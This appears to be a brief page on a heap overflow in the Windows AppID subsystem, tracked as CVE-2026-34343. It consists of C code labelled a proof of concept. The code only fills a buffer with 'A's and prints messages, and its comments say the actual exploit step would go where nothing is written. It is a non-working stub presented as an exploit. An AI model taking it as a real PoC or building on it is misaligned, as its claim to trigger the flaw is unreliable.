CVE-2026-34343 Windows AppID子系统堆溢出漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-34343 // This code attempts to trigger the heap overflow in AppID subsystem. // Note: This is for educational and testing purposes only. void trigger_overflow() { // Payload preparation char buffer[0x1000]; memset(buffer, 'A', sizeof(buffer)); // Fill with 'A's to cause overflow printf("[*] Attempting to trigger vulnerability in AppID Subsystem...\n"); // In a real scenario, the attacker would call the specific vulnerable API // or send a specific IOCTL to the AppID driver with this buffer. // Example: VulnerableFunction(buffer, sizeof(buffer)); printf("[*] Malicious payload prepared. Size: %d bytes\n", sizeof(buffer)); printf("[!] Exploit logic would execute here to overwrite heap structures.\n"); } int main() { printf("CVE-2026-34343 PoC Generator\n"); trigger_overflow(); return 0; }